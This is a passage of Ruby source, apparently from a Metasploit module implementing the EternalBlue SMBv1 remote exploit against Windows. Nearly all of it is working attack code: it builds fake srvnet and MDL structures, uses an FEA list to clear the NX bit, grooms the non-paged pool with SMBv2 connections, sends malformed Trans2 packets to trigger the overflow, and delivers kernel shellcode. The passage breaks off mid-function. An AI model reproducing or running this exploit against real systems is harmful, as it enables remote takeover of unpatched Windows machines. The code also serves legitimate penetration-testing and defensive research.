fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40
|
|
fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('Q<Q<') # pmdl2, pointer to fake struct
|
|
fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')
|
|
fake_srv_net_buffer_x64 += "\x00" * 16
|
|
fake_srv_net_buffer_x64 += "\x00" * 16
|
|
fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
|
|
fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
|
|
|
|
return fake_srv_net_buffer_x64
|
|
end
|
|
|
|
def exploit_eb
|
|
num_groom_conn = datastore['GroomAllocations'].to_i
|
|
smbuser = datastore['SMBUser'].present? ? datastore['SMBUser'] : ''
|
|
smbpass = datastore['SMBPass'].present? ? datastore['SMBPass'] : ''
|
|
|
|
sc = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
|
|
|
|
if sc.length > MAX_SHELLCODE_SIZE
|
|
print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")
|
|
return
|
|
end
|
|
|
|
fea_list = create_fea_list(sc.length)
|
|
|
|
print_status("shellcode size: #{sc.length}")
|
|
print_status("numGroomConn: #{num_groom_conn}")
|
|
|
|
begin
|
|
_exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)
|
|
rescue StandardError => e
|
|
print_error("Exploit failed with the following error: #{e.message}")
|
|
elog('Error encountered with eternalblue_win8', error: e)
|
|
return false
|
|
end
|
|
end
|
|
|
|
def create_session_alloc_non_paged(size, username, password, pid)
|
|
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
|
sess_pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new
|
|
|
|
anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)
|
|
|
|
sess_pkt.smb_header.pid_low = pid
|
|
|
|
if size >= 65535 # 0xffff
|
|
sess_pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20
|
|
sess_pkt.smb_header.flags2.unicode = 0
|
|
else
|
|
sess_pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20
|
|
sess_pkt.smb_header.flags2.unicode = 1
|
|
end
|
|
|
|
sess_pkt.smb_header.flags2.extended_security = 0
|
|
sess_pkt.smb_header.flags2.nt_status = 1
|
|
sess_pkt.smb_header.flags2.paging_io = 0
|
|
|
|
sess_pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size
|
|
sess_pkt.parameter_block.max_mpx_count = 2 # can by any value
|
|
sess_pkt.parameter_block.vc_number = 2 # any non-zero
|
|
sess_pkt.parameter_block.session_key = 0
|
|
sess_pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
|
|
|
sess_pkt.parameter_block.capabilities.each_pair do |k|
|
|
if k == :nt_status || k == :extended_security
|
|
sess_pkt.parameter_block.capabilities[k] = 1
|
|
else
|
|
sess_pkt.parameter_block.capabilities[k] = 0
|
|
end
|
|
end
|
|
|
|
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(sess_pkt))
|
|
|
|
if recv_pkt.status_code.value == 0
|
|
print_good('SMB1 session setup allocate nonpaged pool success')
|
|
return anon_conn, anon_sock
|
|
end
|
|
|
|
anon_conn.disconnect!
|
|
|
|
unless username.empty?
|
|
# Try login with valid user because anonymous user might get access denied on Windows Server 2012
|
|
# Note: If target allows only NTLMv2 authentication, the login will always fail.
|
|
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
|
|
req_size = (size / 2).floor
|
|
|
|
neg_pkt = RubySMB::SMB1::Packet::NegotiateRequest.new
|
|
neg_pkt.smb_header.flags2.extended_security = 0
|
|
neg_pkt.add_dialect('NT LM 0.12')
|
|
|
|
client, sock = custom_smb_client
|
|
|
|
raw_response = client.send_recv(neg_pkt)
|
|
response_packet = client.negotiate_response(raw_response)
|
|
|
|
# parse_negotiate_response
|
|
client.smb1 = true
|
|
client.smb2 = false
|
|
client.smb3 = false
|
|
client.signing_required = response_packet.parameter_block.security_mode.security_signatures_required == 1
|
|
client.dialect = response_packet.negotiated_dialect.to_s
|
|
client.server_max_buffer_size = response_packet.parameter_block.max_buffer_size - 260
|
|
client.negotiated_smb_version = 1
|
|
client.session_encrypt_data = false
|
|
client.server_guid = response_packet.data_block[:server_guid]
|
|
|
|
server_challenge = response_packet.data_block.challenge
|
|
|
|
sess_pkt.smb_header.pid_low = pid
|
|
sess_pkt.smb_header.flags2.unicode = 0
|
|
|
|
pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)
|
|
|
|
sess_pkt.parameter_block.reserved = pwd_unicode.length
|
|
sess_pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + ("\x00" * 16)
|
|
|
|
recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(client.send_recv(sess_pkt))
|
|
|
|
if recv_pkt.status_code.value == 0
|
|
print_good('SMB1 session setup allocate nonpaged pool success')
|
|
return client, sock
|
|
end
|
|
client.disconnect!
|
|
end
|
|
|
|
print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
|
|
return nil
|
|
end
|
|
|
|
def generate_fea_list_nx
|
|
# fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa
|
|
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
|
|
# NX bit is at PTE_ADDR+7
|
|
# MappedSystemVa = PTE_ADDR+7 - 0x7f
|
|
shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
|
|
pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12)
|
|
fake_srv_net_buffer_x64nx = "\x00" * 16
|
|
fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')
|
|
fake_srv_net_buffer_x64nx += "\x00" * 16
|
|
fake_srv_net_buffer_x64nx += "\x00" * 16
|
|
fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')
|
|
fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct
|
|
fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')
|
|
fake_srv_net_buffer_x64nx += "\x00" * 16
|
|
fake_srv_net_buffer_x64nx += "\x00" * 16
|
|
fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
|
|
fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
|
|
|
|
fea_list_nx = [0x10000].pack('I<')
|
|
fea_list_nx += NTFEA_9000
|
|
fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name
|
|
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
|
fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')
|
|
|
|
fea_list_nx
|
|
end
|
|
|
|
def default_session_setup_request
|
|
p = RubySMB::SMB1::Packet::SessionSetupRequest.new
|
|
p.parameter_block.max_buffer_size = 61440
|
|
p.parameter_block.max_mpx_count = 50
|
|
p.smb_header.flags2.extended_security = 1
|
|
|
|
p
|
|
end
|
|
|
|
# Returns the value to be passed to SMB clients for
|
|
# the password. If the user has not supplied a password
|
|
# it returns an empty string to trigger an anonymous
|
|
# logon.
|
|
#
|
|
# @return [String] the password value
|
|
def smb_pass
|
|
if datastore['SMBPass'].present?
|
|
datastore['SMBPass']
|
|
else
|
|
''
|
|
end
|
|
end
|
|
|
|
# Returns the value to be passed to SMB clients for
|
|
# the username. If the user has not supplied a username
|
|
# it returns an empty string to trigger an anonymous
|
|
# logon.
|
|
#
|
|
# @return [String] the username value
|
|
def smb_user
|
|
if datastore['SMBUser'].present?
|
|
datastore['SMBUser']
|
|
else
|
|
''
|
|
end
|
|
end
|
|
|
|
# Returns the value to be passed to SMB clients for
|
|
# the domain. If the user has not supplied a domain
|
|
# it returns an empty string to trigger an anonymous
|
|
# logon.
|
|
#
|
|
# @return [String] the domain value
|
|
def smb_domain
|
|
if datastore['SMBDomain'].present?
|
|
datastore['SMBDomain']
|
|
else
|
|
''
|
|
end
|
|
end
|
|
|
|
class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket
|
|
COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX
|
|
|
|
class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock
|
|
end
|
|
|
|
class DataBlock < RubySMB::SMB1::DataBlock
|
|
# Key difference for this class is that the length of security_blob is NOT dictated by the value of
|
|
# security_blob_length in the +SessionSetupRequest::ParameterBlock+
|
|
string :security_blob, label: 'Security Blob (GSS-API)'
|
|
string :native_os, label: 'Native OS'
|
|
string :native_lan_man, label: 'Native LAN Manager'
|
|
end
|
|
|
|
smb_header :smb_header
|
|
parameter_block :parameter_block
|
|
data_block :data_block
|
|
end
|
|
|
|
class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client
|
|
def send_recv(packet, encrypt: false)
|
|
version = packet.packet_smb_version
|
|
case version
|
|
when 'SMB1'
|
|
packet.smb_header.uid = user_id if user_id
|
|
packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0
|
|
packet = smb1_sign(packet)
|
|
when 'SMB2'
|
|
packet = increment_smb_message_id(packet)
|
|
packet.smb2_header.session_id = session_id
|
|
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
|
|
if smb2
|
|
packet = smb2_sign(packet)
|
|
elsif smb3
|
|
packet = smb3_sign(packet)
|
|
end
|
|
end
|
|
end
|
|
|
|
encrypt_data = false
|
|
if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)
|
|
encrypt_data = true
|
|
end
|
|
send_packet(packet, encrypt: encrypt_data)
|
|
raw_response = recv_packet(encrypt: encrypt_data)
|
|
smb2_header = nil
|
|
unless version == 'SMB1'
|
|
loop do
|
|
smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)
|
|
break unless is_status_pending?(smb2_header)
|
|
|
|
sleep 1
|
|
raw_response = recv_packet(encrypt: encrypt_data)
|
|
rescue IOError
|
|
# We're expecting an SMB2 packet, but the server sent an SMB1 packet
|
|
# instead. This behavior has been observed with older versions of Samba
|
|
# when something goes wrong on the server side. So, we just ignore it
|
|
# and expect the caller to handle this wrong response packet.
|
|
break
|
|
end
|
|
end
|
|
|
|
self.sequence_counter += 1 if signing_required && !session_key.empty?
|
|
# update the SMB2 message ID according to the received Credit Charged
|
|
self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit
|
|
raw_response
|
|
end
|
|
|
|
def login(username: self.username, password: self.password,
|
|
domain: self.domain, local_workstation: self.local_workstation,
|
|
ntlm_flags: default_flags,
|
|
session_setup_packet: nil,
|
|
session_setup_auth_packet: nil)
|
|
|
|
negotiate
|
|
session_setup(username, password, domain,
|
|
local_workstation: local_workstation,
|
|
ntlm_flags: ntlm_flags,
|
|
session_setup_packet: session_setup_packet,
|
|
session_setup_auth_packet: session_setup_auth_packet)
|
|
end
|
|
|
|
def session_setup(user, pass, domain,
|
|
local_workstation: self.local_workstation, ntlm_flags: default_flags,
|
|
session_setup_packet: nil, session_setup_auth_packet: nil)
|
|
@domain = domain
|
|
@local_workstation = local_workstation
|
|
@password = pass.encode('utf-8') || ''.encode('utf-8')
|
|
@username = user.encode('utf-8') || ''.encode('utf-8')
|
|
|
|
@ntlm_client = Net::NTLM::Client.new(
|
|
@username,
|
|
@password,
|
|
workstation: @local_workstation,
|
|
domain: @domain,
|
|
flags: ntlm_flags
|
|
)
|
|
|
|
authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)
|
|
end
|
|
|
|
def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)
|
|
if smb1
|
|
if username.empty? && password.empty?
|
|
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
|
|
session_setup_auth_packet: smb1_setup_auth_pkt,
|
|
anonymous: true)
|
|
else
|
|
smb1_authenticate(session_setup_packet: smb1_setup_pkt,
|
|
session_setup_auth_packet: smb1_setup_auth_pkt)
|
|
end
|
|
else
|
|
smb2_authenticate
|
|
end
|
|
end
|
|
|
|
def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil, anonymous: false)
|
|
response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)
|
|
challenge_packet = smb1_ntlmssp_challenge_packet(response)
|
|
|
|
# Store the available OS information before going forward.
|
|
@peer_native_os = challenge_packet.data_block.native_os.to_s
|
|
@peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
|
|
user_id = challenge_packet.smb_header.uid
|
|
type2_b64_message = smb1_type2_message(challenge_packet)
|
|
type3_message = @ntlm_client.init_context(type2_b64_message)
|
|
|
|
if anonymous
|
|
type3_message.ntlm_response = ''
|
|
type3_message.lm_response = ''
|
|
end
|
|
|
|
@session_key = @ntlm_client.session_key
|
|
challenge_message = @ntlm_client.session.challenge_message
|
|
store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)
|
|
@os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?
|
|
|
|
raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)
|
|
response = smb1_ntlmssp_final_packet(raw)
|
|
response_code = response.status_code
|
|
|
|
@user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
|
|
response_code
|
|
end
|
|
|
|
def smb1_ntlmssp_negotiate(session_setup_packet: nil)
|
|
packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)
|
|
send_recv(packet)
|
|
end
|
|
|
|
def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)
|
|
packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)
|
|
send_recv(packet)
|
|
end
|
|
|
|
def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)
|
|
if session_setup_packet.nil?
|
|
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
|
|
packet.smb_header.uid = user_id
|
|
packet.set_type3_blob(type3_message.serialize)
|
|
packet.parameter_block.max_mpx_count = 50
|
|
packet.smb_header.flags2.extended_security = 1
|
|
|
|
packet
|
|
else
|
|
if session_setup_packet.data_block.security_blob.empty?
|
|
session_setup_packet.set_type3_blob(type3_message.serialize)
|
|
end
|
|
if session_setup_packet.smb_header.uid == 0
|
|
session_setup_packet.smb_header.uid = user_id
|
|
end
|
|
if session_setup_packet.parameter_block.max_buffer_size == 0
|
|
session_setup_packet.parameter_block.max_buffer_size = max_buffer_size
|
|
end
|
|
if session_setup_packet.smb_header.pid_low == 0
|
|
session_setup_packet.smb_header.pid_low = pid
|
|
end
|
|
|
|
session_setup_packet
|
|
end
|
|
end
|
|
|
|
def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)
|
|
type1_message = ntlm_client.init_context
|
|
|
|
if session_setup_packet.nil?
|
|
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet
|
|
packet.set_type1_blob(type1_message.serialize)
|
|
packet.parameter_block.max_mpx_count = 50
|
|
packet.smb_header.flags2.extended_security = 1
|
|
|
|
packet
|
|
else
|
|
if session_setup_packet.data_block.security_blob.empty?
|
|
session_setup_packet.set_type1_blob(type1_message.serialize)
|
|
end
|
|
|
|
session_setup_packet
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
module EternalBlueWin7
|
|
require 'ruby_smb'
|
|
require 'ruby_smb/smb1/packet'
|
|
require 'windows_error'
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
class EternalBlueError < StandardError
|
|
end
|
|
|
|
def exploit_eb
|
|
begin
|
|
for i in 1..datastore['MaxExploitAttempts']
|
|
grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
|
|
smb_eternalblue(datastore['ProcessName'], grooms)
|
|
|
|
# we don't need this sleep, and need to find a way to remove it
|
|
# problem is session_count won't increment until stage is complete :\
|
|
secs = 0
|
|
while !session_created? && (secs < 30)
|
|
secs += 1
|
|
sleep 1
|
|
end
|
|
|
|
if session_created?
|
|
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
|
|
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
|
|
print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
|
|
break
|
|
else
|
|
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
|
|
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
|
|
print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
|
|
end
|
|
end
|
|
rescue EternalBlueError => e
|
|
print_error(e.message.to_s)
|
|
return false
|
|
rescue ::RubySMB::Error::NegotiationFailure
|
|
print_error('SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.')
|
|
return false
|
|
rescue ::RubySMB::Error::UnexpectedStatusCode,
|
|
::Errno::ECONNRESET,
|
|
::Rex::HostUnreachable,
|
|
::Rex::ConnectionTimeout,
|
|
::Rex::ConnectionRefused,
|
|
::RubySMB::Error::CommunicationError => e
|
|
print_error("#{e.class}: #{e.message}")
|
|
report_failure
|
|
return false
|
|
rescue StandardError => e
|
|
print_error(e.class.to_s)
|
|
print_error(e.message)
|
|
print_error(e.backtrace.join("\n"))
|
|
return false
|
|
end
|
|
end
|
|
|
|
def smb_eternalblue(process_name, grooms)
|
|
begin
|
|
# Step 0: pre-calculate what we can
|
|
shellcode = make_kernel_user_payload(payload.encoded, process_name)
|
|
payload_hdr_pkt = make_smb2_payload_headers_packet
|
|
payload_body_pkt = make_smb2_payload_body_packet(shellcode)
|
|
|
|
# Step 1: Connect to IPC$ share
|
|
print_status('Connecting to target for exploitation.')
|
|
client, tree, sock, os = smb1_anonymous_connect_ipc
|
|
rescue RubySMB::Error::CommunicationError
|
|
# Error handler in case SMBv1 disabled on target
|
|
raise EternalBlueError, 'Could not make SMBv1 connection'
|
|
else
|
|
print_good('Connection established for exploitation.')
|
|
|
|
if verify_target(os)
|
|
print_good('Target OS selected valid for OS indicated by SMB reply')
|
|
else
|
|
print_warning('Target OS selected not valid for OS indicated by SMB reply')
|
|
print_warning('Disable VerifyTarget option to proceed manually...')
|
|
raise EternalBlueError, 'Unable to continue with improper OS Target.'
|
|
end
|
|
|
|
# cool buffer print no matter what, will be helpful when people post debug issues
|
|
print_core_buffer(os)
|
|
|
|
if verify_arch
|
|
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
|
|
else
|
|
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
|
|
print_warning('Disable VerifyArch option to proceed manually...')
|
|
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
|
|
end
|
|
|
|
print_status("Trying exploit with #{grooms} Groom Allocations.")
|
|
|
|
# Step 2: Create a large SMB1 buffer
|
|
print_status('Sending all but last fragment of exploit packet')
|
|
smb1_large_buffer(client, tree, sock)
|
|
|
|
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
|
|
print_status('Starting non-paged pool grooming')
|
|
|
|
# initialize_groom_threads(ip, port, payload, grooms)
|
|
fhs_sock = smb1_free_hole(true)
|
|
|
|
@groom_socks = []
|
|
|
|
print_good('Sending SMBv2 buffers')
|
|
smb2_grooms(grooms, payload_hdr_pkt)
|
|
|
|
fhf_sock = smb1_free_hole(false)
|
|
|
|
print_good('Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.')
|
|
fhs_sock.shutdown
|
|
|
|
print_status('Sending final SMBv2 buffers.') # 6x
|
|
smb2_grooms(6, payload_hdr_pkt) # TODO: magic #
|
|
|
|
fhf_sock.shutdown
|
|
|
|
print_status('Sending last fragment of exploit packet!')
|
|
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
|
|
sock.put(final_exploit_pkt)
|
|
|
|
print_status('Receiving response from exploit packet')
|
|
code, _raw = smb1_get_response(sock)
|
|
|
|
code_str = '0x' + code.to_i.to_s(16).upcase
|
|
if code.nil?
|
|
print_error('Did not receive a response from exploit packet')
|
|
elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
|
|
print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
|
|
else
|
|
print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
|
|
end
|
|
|
|
# Step 4: Send the payload
|
|
print_status('Sending egg to corrupted connection.')
|
|
|
|
@groom_socks.each { |gsock| gsock.put(payload_body_pkt.first(2920)) }
|
|
@groom_socks.each { |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
|
|
|
|
print_status('Triggering free of corrupted buffer.')
|
|
# tree disconnect
|
|
# logoff and x
|
|
# note: these aren't necessary, just close the sockets
|
|
return true
|
|
ensure
|
|
abort_sockets
|
|
end
|
|
end
|
|
|
|
def verify_target(os)
|
|
os = os.gsub("\x00", '') # strip unicode bs
|
|
os << "\x00" # but original has a null
|
|
ret = true
|
|
|
|
if datastore['VerifyTarget']
|
|
ret = false
|
|
# search if its in patterns
|
|
target['os_patterns'].each do |pattern|
|
|
if os.downcase.include? pattern.downcase
|
|
ret = true
|
|
break
|
|
end
|
|
end
|
|
end
|
|
|
|
return ret
|
|
end
|
|
|
|
def verify_arch
|
|
return true unless datastore['VerifyArch']
|
|
|
|
# XXX: This sends a new DCE/RPC packet
|
|
arch = dcerpc_getarch
|
|
|
|
return true if arch && arch == target_arch.first
|
|
|
|
print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")
|
|
print_warning('The DCE/RPC service or probe may be blocked') if arch.nil?
|
|
false
|
|
end
|
|
|
|
def print_core_buffer(os)
|
|
print_status("CORE raw buffer dump (#{os.length} bytes)")
|
|
|
|
count = 0
|
|
chunks = os.scan(/.{1,16}/)
|
|
chunks.each do |chunk|
|
|
hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, '0') }.join(' ')
|
|
|
|
format = format('0x%08x %-47s %-16s', (count * 16), hexdump, chunk)
|
|
print_status(format)
|
|
count += 1
|
|
end
|
|
end
|
|
|
|
def smb2_grooms(grooms, payload_hdr_pkt)
|
|
grooms.times do |_groom_id|
|
|
gsock = connect(false)
|
|
@groom_socks << gsock
|
|
gsock.put(payload_hdr_pkt)
|
|
end
|
|
end
|
|
|
|
def smb1_anonymous_connect_ipc
|
|
sock = connect(false)
|
|
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
|
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
|
|
client.pid = nil
|
|
response_code = client.login
|
|
|
|
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
|
|
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
|
|
end
|
|
|
|
os = client.peer_native_os
|
|
|
|
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
|
|
|
|
return client, tree, sock, os
|
|
end
|
|
|
|
def smb1_large_buffer(client, tree, sock)
|
|
nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
|
|
|
|
# send NT Trans
|
|
vprint_status('Sending NT Trans Request packet')
|
|
|
|
client.send_recv(nt_trans_pkt)
|
|
# Initial Trans2 request
|
|
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
|
|
|
|
# send all but last packet
|
|
for i in 1..14
|
|
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
|
|
end
|
|
|
|
vprint_status('Sending malformed Trans2 packets')
|
|
sock.put(trans2_pkt_nulled)
|
|
|
|
begin
|
|
sock.get_once
|
|
rescue EOFError
|
|
vprint_error('No response back from SMB echo request. Continuing anyway...')
|
|
end
|
|
|
|
client.echo(count: 1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
|
|
end
|
|
|
|
def smb1_free_hole(start)
|
|
sock = connect(false)
|
|
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
|
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
|
|
client.pid = nil
|
|
client.negotiate
|
|
|
|
pkt = ''
|
|
|
|
if start
|
|
vprint_status('Sending start free hole packet.')
|
|
pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
|
|
else
|
|
vprint_status('Sending end free hole packet.')
|
|
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
|
|
end
|
|
|
|
client.send_recv(pkt)
|
|
sock
|
|
end
|
|
|
|
def smb1_get_response(sock)
|
|
raw = nil
|
|
|
|
# dirty hack since it doesn't always like to reply the first time...
|
|
16.times do
|
|
raw = sock.get_once
|
|
break unless raw.nil? || raw.empty?
|
|
end
|
|
|
|
return nil unless raw
|
|
|
|
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
|
|
code = response.nt_status
|
|
return code, raw, response
|
|
end
|
|
|
|
def make_smb2_payload_headers_packet
|
|
# don't need a library here, the packet is essentially nonsensical
|
|
pkt = ''
|
|
pkt << "\x00" # session message
|
|
pkt << "\x00\xff\xf7" # size
|
|
pkt << "\xfeSMB" # SMB2
|
|
pkt << "\x00" * 124
|
|
|
|
pkt
|
|
end
|
|
|
|
def make_smb2_payload_body_packet(kernel_user_payload)
|
|
# precalculated lengths
|
|
pkt_max_len = 4204
|
|
pkt_setup_len = 497
|
|
pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
|
|
|
|
# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
|
|
pkt = ''
|
|
|
|
# padding
|
|
pkt << "\x00" * 0x8
|
|
pkt << "\x03\x00\x00\x00"
|
|
pkt << "\x00" * 0x1c
|
|
pkt << "\x03\x00\x00\x00"
|
|
pkt << "\x00" * 0x74
|
|
|
|
# KI_USER_SHARED_DATA addresses
|
|
pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
|
|
pkt << "\x00" * 0x10
|
|
pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
|
|
pkt << "\x00" * 0xc4
|
|
|
|
# payload addreses
|
|
pkt << "\x90\xf1\xdf\xff"
|
|
pkt << "\x00" * 0x4
|
|
pkt << "\xf0\xf1\xdf\xff"
|
|
pkt << "\x00" * 0x40
|
|
|
|
pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
|
|
pkt << "\x00" * 0x8
|
|
pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
|
|
pkt << "\x00"
|
|
|
|
pkt << kernel_user_payload
|
|
|
|
# fill out the rest, this can be randomly generated
|
|
pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
|
|
|
|
pkt
|
|
end
|
|
|
|
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
|
|
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
|
|
timeout = (timeout * 0x10) + 3
|
|
timeout_value = "\x35\x00\xd0" + timeout.chr
|
|
|
|
packet = RubySMB::SMB1::Packet::Trans2::Request.new
|
|
packet = set_smb1_headers(packet, tree_id, user_id)
|
|
|
|
# The packets are labeled as Secondary Requests but are actually structured
|
|
# as normal Trans2 Requests for some reason. We shall similarly cheat here.
|
|
packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
|
|
|
|
packet.parameter_block.flags.read("\x00\x10")
|
|
packet.parameter_block.timeout.read(timeout_value)
|
|
|
|
packet.parameter_block.word_count = 9
|
|
packet.parameter_block.total_data_count = 4096
|
|
packet.parameter_block.parameter_count = 4096
|
|
|
|
nbss = "\x00\x00\x10\x35"
|
|
pkt = packet.to_binary_s
|
|
pkt = pkt[0, packet.parameter_block.parameter_offset.abs_offset]
|
|
pkt = nbss + pkt
|
|
|
|
case type
|
|
when :eb_trans2_exploit
|
|
vprint_status('Making :eb_trans2_exploit packet')
|
|
|
|
pkt << "\x41" * 2957
|
|
|
|
pkt << "\x80\x00\xa8\x00" # overflow
|
|
|
|
pkt << "\x00" * 0x10
|
|
pkt << "\xff\xff"
|
|
pkt << "\x00" * 0x6
|
|
pkt << "\xff\xff"
|
|
pkt << "\x00" * 0x16
|
|
|
|
pkt << "\x00\xf1\xdf\xff" # x86 addresses
|
|
pkt << "\x00" * 0x8
|
|
pkt << "\x20\xf0\xdf\xff"
|
|
|
|
